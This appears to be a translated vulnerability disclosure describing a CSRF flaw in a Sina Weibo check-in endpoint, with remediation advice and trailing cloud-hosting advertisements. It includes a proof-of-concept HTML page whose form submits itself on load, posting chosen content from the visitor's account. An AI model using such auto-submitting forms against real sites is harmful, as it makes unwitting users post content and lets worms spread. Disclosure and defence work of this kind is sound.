A csrf vulnerability in Sina Weibo may cause worms to spread. Weibo is released without the user's consent.
Detailed Description: When receiving POST and GET information, the Referer of POST is not verified, and the token is not added to the POST information to verify the correctness of the information, cause the vulnerability.
Vulnerability address:
Http://app.weibo.com/aj_checkin.php
<Html>
<Body>
<Form id = "imlonghao" name = "imlonghao" action = "http://app.weibo.com/aj_checkin.php" method = "post">
<Input type = "text" name = "content" value = "www.2cto.com"/>
<Input type = "text" name = "_ t" value = "0"/>
<Input type = "submit" value = "submit"/>
</Form>
<Script>
Document. imlonghao. submit ();
</Script>
</Body>
</Html>
The interface returns an error, but it does not affect
Solution:
Check POST Referer
Add token in POST information
Imlonghao author
Start building with 50+ products and up to 12 months usage for Elastic Compute Service
1 on 1 presale consultation
24/7 Technical Support 6 Free Tickets per Quarter Faster Response
Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.
A comprehensive suite of global cloud computing services to power your business
Payment Methods We Support
